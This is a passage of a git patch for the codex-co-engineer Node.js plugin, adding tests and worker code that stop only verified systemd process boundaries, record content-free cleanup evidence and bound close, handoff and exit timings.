inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(empty.state, 'inactive_empty'); + assert.equal(empty.stop_allowed, false); +}); + +test('T2 unreadable /proc is unknown and refuses stop', async () => { + const harness = createBoundaryHarness({ procErrors: { 4242: 'EPERM' } }); + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.stop_allowed, false); + assert.equal(inspection.code, 'worker_boundary_pid_visibility_unknown'); + await assert.rejects( + stopExactProcessBoundary(harness.receipt, { adapter: harness.adapter, expectedLeader: harness.leader, timeoutMs: 100 }), + (error) => error.code === 'worker_boundary_pid_visibility_unknown', + ); + assert.equal(harness.state.actions.some((args) => args[1] === 'stop' || args.includes('stop')), false); +}); + +test('identity mismatch never stops another unit', async () => { + const harness = createBoundaryHarness({ invocationId: 'ffffffffffffffffffffffffffffffff' }); + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.code, 'worker_boundary_identity_mismatch'); + await assert.rejects( + stopExactProcessBoundary(harness.receipt, { adapter: harness.adapter, expectedLeader: harness.leader, timeoutMs: 100 }), + (error) => error.code === 'worker_boundary_identity_mismatch', + ); + assert.equal(harness.state.stopCalls, 0); + assert.equal(harness.state.actions.some((args) => args.includes(OTHER_UNIT) && args[1] === 'stop'), false); +}); + +test('T1 completed receipt plus populated cgroup does not project succeeded', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness(); + const taskRecord = terminalTaskRecord({ id: 't1-live', cwd, worktree_task: 't1-live' }); + await storeTerminal(root, taskRecord, { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }); + const { execute, calls } = lockExecute(taskRecord, cwd); + const inspected = await taskStatus(root, 't1-live', settleDeps(harness, { + execute, + snapshotUnits: async () => null, + })); + assert.notEqual(inspected.state, 'succeeded'); + assert.equal(inspected.state, 'transport_lost'); + assert.equal(inspected.task.status, 'transport_lost'); + assert.equal(inspected.task.result, undefined); + assert.equal(inspected.task.handoff, undefined); + assert.equal(inspected.task.finished_at, undefined); + assert.equal(inspected.task.stop_reason, undefined); + assert.doesNotMatch(JSON.stringify(inspected), /keep this prompt private/u); + const stored = (await readTask(root, 't1-live')).task; + assert.equal(stored.status, 'completed'); + assert.equal(stored.result, 'ok'); + assert.equal(stored.cleanup.status, 'unknown'); + assert.equal(harness.state.populated, true); + assert.equal(harness.state.stopCalls, 0); + assert.equal(calls.some((entry) => entry[1]?.[1] === 'clean'), false); + }); +}); + +test('incident 1: namespace-abandoned live lock is not cleaned until exact empty proof', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const runtime = incidentOneRuntime(); + const harness = createBoundaryHarness({ + receipt: runtime.process_boundary, + leaderPid: runtime.pid, + workerPid: 1818350, + startTicks: runtime.process_start_ticks, + workerTicks: '579125378', + }); + const taskRecord = terminalTaskRecord({ + id: INCIDENT_1_TASK_ID, + cwd, + branch: 'codex/r1-w25b-rtruth-server-tasks-classifier-repair-grok-20260825', + worktree_task: INCIDENT_1_TASK_ID, + }); + await storeTerminal(root, taskRecord, runtime); + let cleanedBeforeEmpty = false; + const { execute, calls } = lockExecute(taskRecord, cwd, { + inspect: lockInspectReceipt({ + task: INCIDENT_1_TASK_ID, + worktreePath: cwd, + branch: taskRecord.branch, + wrapperPid: runtime.pid, + startTicks: runtime.process_start_ticks, + }), + clean: (args) => { + if (harness.state.populated) cleanedBeforeEmpty = true; + return { stdout: JSON.stringify({ state: 'unlocked', lock_id: args.at(-1) }) }; + }, + }); + const first = await settleLocalTaskLifecycle(root, (await readTask(root, INCIDENT_1_TASK_ID)).task, runtime, settleDeps(harness, { + execute, + git: gitSnapshot({ branch: taskRecord.branch }), + })); + assert.equal(first.final, true); + assert.equal(first.cleanup, 'recovered'); + assert.equal(first.boundary, 'inactive_empty'); + assert.equal(first.lock, 'cleaned'); + assert.deepEqual(lifecycleKeys(first), [ + 'version', 'task_id', 'stored_status', 'projected_status', 'public_state', 'final', 'cleanup', 'boundary', 'lock', 'reason', + ]); + assert.equal(cleanedBeforeEmpty, false); + assert.equal(harness.state.stopCalls, 1); + assert.equal(calls.filter((entry) => entry[1]?.[1] === 'clean').length, 1); + const projected = projectSupervisorTerminalReceipt((await readTask(root, INCIDENT_1_TASK_ID)).task); + assert.equal(projectSupervisorPublicState((await readTask(root, INCIDENT_1_TASK_ID)).task), 'succeeded'); + assert.equal(projected.status, 'completed'); + assert.equal(projected.result, 'ok'); + const second = await cleanupLocalTaskLifecycle(root, (await readTask(root, INCIDENT_1_TASK_ID)).task, runtime, settleDeps(harness, { execute })); + assert.equal(second.cleanup, 'recovered'); + assert.equal(harness.state.stopCalls, 1); + assert.equal(calls.filter((entry) => entry[1]?.[1] === 'clean').length, 1); + }); +}); + +test('incident 2: second host reproduction recovers only the exact unit', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const runtime = incidentTwoRuntime(); + const harness = createBoundaryHarness({ + receipt: runtime.process_boundary, + leaderPid: runtime.pid, + workerPid: 2394670, + startTicks: runtime.process_start_ticks, + workerTicks: '579387336', + }); + const taskRecord = terminalTaskRecord({ + id: INCIDENT_2_TASK_ID, + cwd, + branch: 'codex/r1-w25b-rtruth-task-store-filter-final-closure-grok-20260825', + worktree_task: INCIDENT_2_TASK_ID, + }); + await storeTerminal(root, taskRecord, runtime); + const { execute } = lockExecute(taskRecord, cwd, { + inspect: lockInspectReceipt({ + task: INCIDENT_2_TASK_ID, + lockId: 'b85a6979d2c04cf1887c526be640dfa4', + worktreePath: cwd, + branch: taskRecord.branch, + wrapperPid: runtime.pid, + startTicks: runtime.process_start_ticks, + }), + }); + const settled = await settleLocalTaskLifecycle(root, (await readTask(root, INCIDENT_2_TASK_ID)).task, runtime, settleDeps(harness, { + execute, + git: gitSnapshot({ branch: taskRecord.branch }), + })); + assert.equal(settled.final, true); + assert.equal(settled.stored_status, 'completed'); + assert.equal(harness.state.stopCalls, 1); + assert.equal(harness.state.actions.some((args) => args.includes(OTHER_UNIT) && args[1] === 'stop'), false); + assert.equal((await readTask(root, INCIDENT_2_TASK_ID)).task.status, 'completed'); + }); +}); + +test('T3 cleanup refusal records a content-free exit-code class', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness({ activeState: 'inactive', populated: false }); + const taskRecord = terminalTaskRecord({ id: 't3-lock', cwd, worktree_task: 't3-lock' }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + await storeTerminal(root, taskRecord, runtime); + const { execute } = lockExecute(taskRecord, cwd, { + inspect: lockInspectReceipt({ + task: 't3-lock', + worktreePath: cwd, + branch: taskRecord.branch, + wrapperPid: 4242, + startTicks: '100', + }), + clean: () => { + throw Object.assign(new Error('dead-local policy does not apply: active'), { status: 5 }); + }, + }); + const settled = await settleLocalTaskLifecycle(root, (await readTask(root, 't3-lock')).task, runtime, settleDeps(harness, { execute })); + assert.equal(settled.final, false); + assert.equal(settled.lock, 'unknown'); + const events = await readFile(path.join(root, 'tasks', 't3-lock', 'events.jsonl'), 'utf8'); + assert.match(events, /"exit_code_class":"exit_5"/u); + assert.doesNotMatch(events, /dead-local policy does not apply/u); + assert.doesNotMatch(events, /keep this prompt private/u); + }); +}); + +test('T4 exact stop failure records cgroup_not_empty verbatim', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness(); + const taskRecord = terminalTaskRecord({ id: 't4-empty', cwd, worktree_task: 't4-empty' }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + await storeTerminal(root, taskRecord, runtime); + const { execute } = lockExecute(taskRecord, cwd); + const settled = await settleLocalTaskLifecycle(root, (await readTask(root, 't4-empty')).task, runtime, settleDeps(harness, { + execute, + stopExactBoundary: async () => { + throw Object.assign(new Error('Owned systemd process boundary still has descendants after exact unit stop.'), { code: 'cgroup_not_empty' }); + }, + })); + assert.equal(settled.final, false); + assert.equal(settled.reason, 'boundary_not_empty'); + const stored = (await readTask(root, 't4-empty')).task; + assert.equal(stored.status, 'completed'); + assert.equal(stored.cleanup.code, 'cgroup_not_empty'); + const events = await readFile(path.join(root, 'tasks', 't4-empty', 'events.jsonl'), 'utf8'); + assert.match(events, /"code":"cgroup_not_empty"/u); + assert.match(events, /"forced":true/u); + }); +}); + +test('T5 dead-local clean is refused without inactive_empty proof', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness({ procErrors: { 4300: 'EPERM' } }); + const taskRecord = terminalTaskRecord({ id: 't5-unknown', cwd, worktree_task: 't5-unknown' }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + await storeTerminal(root, taskRecord, runtime); + const { execute, calls } = lockExecute(taskRecord, cwd); + const settled = await settleLocalTaskLifecycle(root, (await readTask(root, 't5-unknown')).task, runtime, settleDeps(harness, { execute })); + assert.equal(settled.final, false); + assert.equal(settled.boundary, 'unknown'); + assert.equal(settled.public_state, 'transport_lost'); + assert.equal(harness.state.stopCalls, 0); + assert.equal(calls.some((entry) => entry[1]?.[1] === 'clean'), false); + const classified = classifySupervisorTerminalReceipt((await readTask(root, 't5-unknown')).task); + assert.equal(classified.projected_status, 'transport_lost'); + assert.equal(classified.corrected, false); + }); +}); + +test('T6 post-terminal writes are additive and leave stored status immutable', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness(); + const taskRecord = terminalTaskRecord({ + id: 't6-immutable', + cwd, + result: 'ok', + finished_at: '2026-08-25T21:16:29.745Z', + }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + const { paths } = await storeTerminal(root, taskRecord, runtime); + const before = JSON.parse(await readFile(paths.record, 'utf8')); + const { execute } = lockExecute(taskRecord, cwd); + await settleLocalTaskLifecycle(root, (await readTask(root, 't6-immutable')).task, runtime, settleDeps(harness, { execute })); + const after = JSON.parse(await readFile(paths.record, 'utf8')); + assert.equal(after.status, 'completed'); + assert.equal(after.schema, 'codex-co-engineer.task.v1'); + assert.equal(after.result, before.result); + assert.equal(after.finished_at, before.finished_at); + assert.equal(after.stop_reason, before.stop_reason); + assert.equal(typeof after.cleanup, 'object'); + assert.notEqual(after.revision, before.revision); + }); +}); + +test('T7 repeated settlement is idempotent and stops at most once', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness(); + const taskRecord = terminalTaskRecord({ id: 't7-once', cwd, worktree_task: 't7-once' }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + await storeTerminal(root, taskRecord, runtime); + const { execute, calls } = lockExecute(taskRecord, cwd); + const deps = settleDeps(harness, { execute }); + const first = await settleLocalTaskLifecycle(root, (await readTask(root, 't7-once')).task, runtime, deps); + const second = await settleLocalTaskLifecycle(root, (await readTask(root, 't7-once')).task, await readRuntimeRecord(root, 't7-once'), deps); + const third = await cleanupLocalTaskLifecycle(root, (await readTask(root, 't7-once')).task, await readRuntimeRecord(root, 't7-once'), deps); + assert.equal(first.final, true); + assert.equal(second.final, true); + assert.equal(third.cleanup, first.cleanup); + assert.equal(harness.state.stopCalls, 1); + assert.equal(calls.filter((entry) => entry[1]?.[1] === 'clean').length, 1); + }); +}); + +test('R-TRUTH classifier runs only after lifecycle finality', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + const harness = createBoundaryHarness(); + const taskRecord = terminalTaskRecord({ + id: 'rtruth-after-final', + cwd, + result: 'RetriableError [unavailable] PING timed out', + }); + const runtime = { + pid: 4242, + process_start_ticks: '100', + command: 'worktree-bootstrap', + process_boundary: harness.receipt, + }; + await storeTerminal(root, taskRecord, runtime); + const pending = classifySupervisorTerminalReceipt({ + ...taskRecord, + cleanup: { status: 'pending', boundary: 'active', lock: 'active', code: 'worker_boundary_pending' }, + }); + assert.equal(pending.projected_status, 'transport_lost'); + assert.equal(pending.public_state, 'transport_lost'); + assert.equal(pending.corrected, false); + const projectedPending = projectSupervisorTerminalReceipt({ + ...taskRecord, + cleanup: { status: 'pending', boundary: 'active', lock: 'active', code: 'worker_boundary_pending' }, + }); + assert.equal(projectedPending.result, undefined); + assert.equal(projectedPending.finished_at, undefined); + const { execute } = lockExecute(taskRecord, cwd); + const settled = await settleLocalTaskLifecycle(root, (await readTask(root, 'rtruth-after-final')).task, runtime, settleDeps(harness, { execute })); + assert.equal(settled.final, true); + assert.equal(settled.projected_status, 'failed'); + assert.equal(settled.public_state, 'failed'); + assert.equal((await readTask(root, 'rtruth-after-final')).task.status, 'completed'); + const status = await supervisorStatus(root, { + probeBoundary: async () => ({ ready: true, status: 'prerequisites_ready', provider_started: false }), + readProviderReadiness: async () => ({ + grok: { installed: true, ready: true, transport: 'acp' }, + 'cursor-local': { installed: true, ready: true, transport: 'acp' }, + dsh: { installed: true, ready: true, transport: 'acpx' }, + 'cursor-cloud': { installed: true, ready: true, transport: 'cursor-sdk' }, + }), + adapter: harness.adapter, + drainGraceMs: 0, + sleep: async () => {}, + snapshotGit: async () => gitSnapshot(), + snapshotUnits: async () => structuredClone(harness.state.unrelated), + execute, + }); + assert.equal(status.tasks[0].status, 'failed'); + assert.equal(status.tasks[0].error.code, 'completed_with_terminal_error'); + }); +}); + +test('legacy terminal receipts without a local boundary stay on the R-TRUTH seam', async () => { + await withRoot(async (root) => { + const cwd = path.join(root, 'worktree'); + await storeTerminal(root, terminalTaskRecord({ + id: 'legacy-no-boundary', + cwd, + workspace_kind: 'direct', + result: 'ok', + })); + const inspected = await taskStatus(root, 'legacy-no-boundary'); + assert.equal(inspected.state, 'succeeded'); + assert.equal((await readTask(root, 'legacy-no-boundary')).task.cleanup, undefined); + }); +}); diff --git a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs index 05f2e1d..d3dc1ce 100644 --- a/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs +++ b/plugins/codex-co-engineer/test/v3-process-boundary.test.mjs @@ -4,13 +4,19 @@ import test from 'node:test'; import { buildProcessBoundaryArgv, + inspectExactProcessBoundary, inspectProcessBoundary, launchProcessBoundary, probeProcessBoundary, ProcessBoundaryError, restoreProcessBoundary, + stopExactProcessBoundary, stopProcessBoundary, } from '../mcp/v3/process-boundary.mjs'; +import { + createBoundaryHarness, + lifecycleReceipt, +} from './fixtures/r1-terminal-boundary-lifecycle-fixtures.mjs'; function receipt(overrides = {}) { return { @@ -257,3 +263,59 @@ test('rejects forged or mismatched ownership receipts before systemd mutation', adapter: { platform: 'linux', uid: 1000, spawn: () => fakeChild(), execFile: async () => ({ stdout: '' }), readFile: async () => '', sleep: async () => {} }, }), (error) => error.code === 'invalid_control_group'); }); + +test('exact inspection is inactive_empty only when the unit and cgroup path are both gone', async () => { + const harness = createBoundaryHarness({ found: false, populated: false, activeState: 'inactive' }); + harness.state.found = false; + harness.state.populated = false; + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'inactive_empty'); + assert.equal(inspection.stop_allowed, false); +}); + +test('exact inspection is unknown when the unit is gone but the cgroup stays populated', async () => { + const harness = createBoundaryHarness({ found: false, populated: true }); + harness.state.found = false; + harness.state.populated = true; + const inspection = await inspectExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.stop_allowed, false); +}); + +test('exact stop uses systemctl --user stop for the verified unit only', async () => { + const harness = createBoundaryHarness(); + const stopped = await stopExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + timeoutMs: 100, + }); + assert.equal(stopped.state, 'inactive_empty'); + assert.equal(stopped.cgroup_empty, true); + assert.equal(harness.state.stopCalls, 1); + assert.equal(harness.state.actions.some((args) => args[1] === 'kill'), false); + const second = await stopExactProcessBoundary(harness.receipt, { + adapter: harness.adapter, + expectedLeader: harness.leader, + timeoutMs: 100, + }); + assert.equal(second.idempotent, true); + assert.equal(harness.state.stopCalls, 1); +}); + +test('exact inspection does not treat a mismatched generation as this task', async () => { + const harness = createBoundaryHarness(); + const forged = lifecycleReceipt({ invocation_id: 'ffffffffffffffffffffffffffffffff' }); + const inspection = await inspectExactProcessBoundary(forged, { + adapter: harness.adapter, + expectedLeader: harness.leader, + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.identity_matched, false); + assert.equal(inspection.stop_allowed, false); +}); diff --git a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs index 5cdc5e3..d1d7860 100644 --- a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs +++ b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs @@ -9,9 +9,11 @@ import { promisify } from 'node:util'; import { cancelTask, + cleanupLocalTaskLifecycle, cleanupManagedWorkspace, createWriterWorkspace, launchWorker, + settleLocalTaskLifecycle, submitTask, supervisorStatus, taskStatus, @@ -788,3 +790,34 @@ test('completed receipts with a terminal transport error do not project succeede await rm(root, { recursive: true, force: true }); } }); + +test('exports identity-bound local lifecycle settlement without rewriting stored terminal status', async () => { + assert.equal(typeof settleLocalTaskLifecycle, 'function'); + assert.equal(typeof cleanupLocalTaskLifecycle, 'function'); + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-supervisor-lifecycle-export-')); + try { + await createTask({ + root, + prompt: 'legacy terminal', + record: { + id: 'legacy-lifecycle', + status: 'completed', + provider: 'grok', + cwd: root, + result: 'ok', + finished_at: new Date().toISOString(), + }, + }); + const task = (await readTask(root, 'legacy-lifecycle')).task; + const settled = await settleLocalTaskLifecycle(root, task, null, { drainGraceMs: 0 }); + assert.equal(settled.version, 1); + assert.equal(settled.final, true); + assert.equal(settled.boundary, 'not_applicable'); + assert.equal(settled.cleanup, 'normal'); + assert.equal((await readTask(root, 'legacy-lifecycle')).task.status, 'completed'); + assert.equal((await readTask(root, 'legacy-lifecycle')).task.cleanup, undefined); + assert.equal(await cleanupLocalTaskLifecycle(root, task, null, { drainGraceMs: 0 }).then((value) => value.final), true); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); From ea026110fa808aaee239fc045aecf8e26f9b9561 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:36:09 +0000 Subject: [PATCH 126/151] fix(worker): bound ACP close, WTB handoff, and worker exit Close retained ACP clients and child trees within 3s, attempt WTB handoff within 5s, persist terminal status only with cleanup.pending evidence, emit stdout after that record, and exit within 1s. Close failure never enables replay or redispatch. --- .../codex-co-engineer/mcp/v3/acp-worker.mjs | 453 +++++++++++++++--- 1 file changed, 384 insertions(+), 69 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs index 22aba7d..90f3539 100644 --- a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs @@ -50,6 +50,20 @@ const DEFAULT_DSH_MODEL = 'muse-spark-1.2-contributor'; const PROCESS_LIST_MAX_BUFFER = 4 * 1024 * 1024; const ACPX_TERMINATION_GRACE_MS = 1_000; const ACPX_TERMINATION_POLL_MS = 25; +export const ACP_RESOURCE_CLOSE_MS = 3_000; +export const WTB_HANDOFF_MS = 5_000; +export const WORKER_EXIT_MS = 1_000; +export const WORKER_CLEANUP_CODES = Object.freeze({ + ACP_RESOURCE_CLOSE_TIMEOUT: 'acp_resource_close_timeout', + ACP_RESOURCE_CLOSE_FAILED: 'acp_resource_close_failed', + WORKER_EXIT_TIMEOUT: 'worker_exit_timeout', + LOCK_RELEASE_UNPROVEN: 'lock_release_unproven', + LOCK_CLEANUP_REFUSED: 'lock_cleanup_refused', + CLEANUP_FAILED: 'cleanup_failed', +}); +const WORKER_CLEANUP_CODE_SET = new Set(Object.values(WORKER_CLEANUP_CODES)); +const ACP_CLOSE_STATES = new Set(['closed', 'timeout', 'failed', 'not_applicable']); +const WTB_HANDOFF_STATES = new Set(['recorded', 'timeout', 'failed', 'not_applicable']); const OMIT_EVENT_KEYS = new Set(['rawinput', 'rawoutput', 'content', 'availablecommands']); const SENSITIVE_EVENT_KEY = /(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|cookie|credential|private[_-]?key)/iu; const TOKEN_PATTERNS = [ @@ -75,6 +89,259 @@ function fail(code, message) { throw new AcpWorkerError(code, message); } +export function contentFreeCleanupCode(code) { + const raw = typeof code === 'string' ? code : ''; + if (WORKER_CLEANUP_CODE_SET.has(raw)) return raw; + return WORKER_CLEANUP_CODES.CLEANUP_FAILED; +} + +export function workerSeamIncident(task) { + const terminal = ['completed', 'failed', 'cancelled', 'timeout', 'environment_blocked'].includes(task?.status); + const finished = typeof task?.finished_at === 'string' && task.finished_at.length > 0; + const closeRecorded = task?.cleanup?.status === 'pending' + || task?.cleanup?.status === 'normal' + || task?.cleanup?.status === 'recovered'; + return terminal === true && finished === true && closeRecorded !== true; +} + +export function composeWorkerCleanup(closeEvidence = {}, handoffEvidence = {}) { + const acpClose = ACP_CLOSE_STATES.has(closeEvidence?.acp_close) ? closeEvidence.acp_close : 'not_applicable'; + const wtbHandoff = WTB_HANDOFF_STATES.has(handoffEvidence?.wtb_handoff) + ? handoffEvidence.wtb_handoff + : 'not_applicable'; + const codes = []; + if (acpClose === 'timeout') codes.push(WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + else if (acpClose === 'failed') codes.push(WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + if (wtbHandoff === 'timeout') codes.push(WORKER_CLEANUP_CODES.LOCK_RELEASE_UNPROVEN); + else if (wtbHandoff === 'failed') codes.push(WORKER_CLEANUP_CODES.CLEANUP_FAILED); + if (Array.isArray(closeEvidence?.codes)) { + for (const code of closeEvidence.codes) { + const safe = contentFreeCleanupCode(code); + if (!codes.includes(safe)) codes.push(safe); + } + } + if (handoffEvidence?.code) { + const safe = contentFreeCleanupCode(handoffEvidence.code); + if (!codes.includes(safe)) codes.push(safe); + } + const cleanup = { + status: 'pending', + acp_close: acpClose, + wtb_handoff: wtbHandoff, + }; + if (codes[0]) cleanup.code = codes[0]; + return Object.freeze(cleanup); +} + +export async function withBound(work, ms, code, message) { + const timeoutMs = Number.isFinite(ms) && ms >= 1 ? ms : 1; + let timer; + try { + return await Promise.race([ + Promise.resolve().then(() => (typeof work === 'function' ? work() : work)), + new Promise((_, reject) => { + timer = setTimeout(() => { + reject(new AcpWorkerError(code, message)); + }, timeoutMs); + }), + ]); + } finally { + clearTimeout(timer); + } +} + +export async function closeRetainedAcpResources({ + runtime = null, + handle = null, + child = null, + stopDeadline = null, + extraClosers = [], + timeoutMs = ACP_RESOURCE_CLOSE_MS, +} = {}) { + try { stopDeadline?.(); } catch { /* already closed */ } + if (Array.isArray(extraClosers)) { + for (const closer of extraClosers) { + try { closer?.(); } catch { /* already closed */ } + } + } + + let acpClose = 'not_applicable'; + const codes = []; + const mark = (state, code) => { + acpClose = state; + if (code && !codes.includes(code)) codes.push(code); + }; + + if (runtime && handle) { + mark('closed', null); + try { + await withBound( + () => runtime.close({ handle, reason: 'worker_exit', discardPersistentState: false }), + timeoutMs, + WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT, + 'ACP resource close exceeded 3s.', + ); + } catch (error) { + if (error?.code === WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT) { + mark('timeout', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + } else { + mark('failed', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + } + } + } + + if (child) { + if (acpClose === 'not_applicable') mark('closed', null); + try { + const stopped = await withBound( + () => Promise.resolve(requestChildTreeTermination(child)), + timeoutMs, + WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT, + 'Retained child tree close exceeded 3s.', + ); + if (stopped === false) mark('failed', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + } catch (error) { + if (error?.code === WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT) { + mark('timeout', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + } else { + mark('failed', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + } + } + } + + try { + await secureAcpxSessions(); + } catch (error) { + if (error?.code !== 'ENOENT') { + if (acpClose === 'not_applicable') mark('failed', WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_FAILED); + } + } + + return Object.freeze({ + acp_close: acpClose, + codes: Object.freeze([...codes]), + }); +} + +export async function persistWorkerTerminal(root, taskId, patch, closeEvidence, handoffEvidence) { + const cleanup = composeWorkerCleanup(closeEvidence, handoffEvidence); + const nextPatch = { ...patch, cleanup }; + if (nextPatch.finished_at === undefined) nextPatch.finished_at = new Date().toISOString(); + const terminal = await updateTask(root, taskId, nextPatch); + await appendTaskEvent(root, taskId, { + type: 'terminal', + status: terminal.status, + ...(nextPatch.stop_reason !== undefined ? { stop_reason: nextPatch.stop_reason } : {}), + ...(nextPatch.error ? { error: nextPatch.error } : {}), + }).catch(() => {}); + await appendTaskEvent(root, taskId, { + type: 'cleanup', + status: cleanup.status, + acp_close: cleanup.acp_close, + wtb_handoff: cleanup.wtb_handoff, + ...(cleanup.code ? { code: cleanup.code } : {}), + }).catch(() => {}); + return terminal; +} + +export function emitWorkerTerminalStdout(task, write = (chunk) => process.stdout.write(chunk)) { + if (!plainObject(task) || typeof task.id !== 'string') { + fail(WORKER_CLEANUP_CODES.CLEANUP_FAILED, 'Terminal stdout requires a recorded task.'); + } + if (!plainObject(task.cleanup) || task.cleanup.status !== 'pending') { + fail(WORKER_CLEANUP_CODES.CLEANUP_FAILED, 'Terminal stdout requires recorded close evidence.'); + } + write(`${JSON.stringify({ task_id: task.id, status: task.status })}\n`); +} + +export function requestWorkerExit(code = 0, { + exitMs = WORKER_EXIT_MS, + exit = (value) => { process.exit(value); }, + setTimeoutFn = setTimeout, +} = {}) { + const timer = setTimeoutFn(() => { + exit(code); + }, Number.isFinite(exitMs) && exitMs >= 0 ? exitMs : WORKER_EXIT_MS); + try { timer.unref?.(); } catch { /* ignore */ } + exit(code); + return timer; +} + +export async function boundedWtbHandoff({ + root, + taskId, + env = process.env, + cwd = process.cwd(), + timeoutMs = WTB_HANDOFF_MS, + runFileImpl = runFile, +} = {}) { + const taskName = env?.WORKTREE_BOOTSTRAP_TASK; + if (typeof taskName !== 'string' || taskName.length === 0) { + return Object.freeze({ attempted: false, wtb_handoff: 'not_applicable' }); + } + const existing = await readTask(root, taskId).catch(() => ({ task: {} })); + const closeEvidence = { + acp_close: existing.task?.cleanup?.acp_close ?? 'not_applicable', + codes: existing.task?.cleanup?.code ? [existing.task.cleanup.code] : [], + }; + try { + const { stdout } = await withBound( + () => runFileImpl('worktree-bootstrap', [ + 'handoff', + taskName, + '--repo', + cwd, + '--format', + 'json', + ], { + encoding: 'utf8', + maxBuffer: 1024 * 1024, + timeout: timeoutMs, + killSignal: 'SIGKILL', + }), + timeoutMs, + WORKER_CLEANUP_CODES.LOCK_RELEASE_UNPROVEN, + 'WTB handoff exceeded 5s.', + ); + const handoff = JSON.parse(stdout); + if (!plainObject(handoff)) fail(WORKER_CLEANUP_CODES.CLEANUP_FAILED, 'WTB handoff was not an object.'); + const cleanup = composeWorkerCleanup(closeEvidence, { wtb_handoff: 'recorded' }); + const task = await updateTask(root, taskId, { handoff, cleanup }); + await appendTaskEvent(root, taskId, { + type: 'cleanup', + status: cleanup.status, + acp_close: cleanup.acp_close, + wtb_handoff: 'recorded', + }).catch(() => {}); + return Object.freeze({ attempted: true, wtb_handoff: 'recorded', task, handoff }); + } catch (error) { + const timedOut = error?.code === WORKER_CLEANUP_CODES.LOCK_RELEASE_UNPROVEN + || error?.code === 'ETIMEDOUT' + || error?.killed === true; + const wtbHandoff = timedOut ? 'timeout' : 'failed'; + const cleanup = composeWorkerCleanup(closeEvidence, { + wtb_handoff: wtbHandoff, + code: timedOut + ? WORKER_CLEANUP_CODES.LOCK_RELEASE_UNPROVEN + : WORKER_CLEANUP_CODES.CLEANUP_FAILED, + }); + const task = await updateTask(root, taskId, { cleanup }).catch(() => existing.task ?? null); + await appendTaskEvent(root, taskId, { + type: 'cleanup', + status: cleanup.status, + acp_close: cleanup.acp_close, + wtb_handoff: wtbHandoff, + code: cleanup.code, + }).catch(() => {}); + return Object.freeze({ + attempted: true, + wtb_handoff: wtbHandoff, + task, + code: cleanup.code, + }); + } +} + export async function attachLocalProviderResultSink( root, task, source, sourceTruncated = false, overflow = false, ) { @@ -618,6 +885,22 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { let termination; let cancel; let timedOut = false; + let closePromise; + const closeOnce = () => { + closePromise ??= closeRetainedAcpResources({ + child, + stopDeadline, + extraClosers: [ + () => { clearTimeout(timer); }, + () => { if (cancel) signal?.removeEventListener('abort', 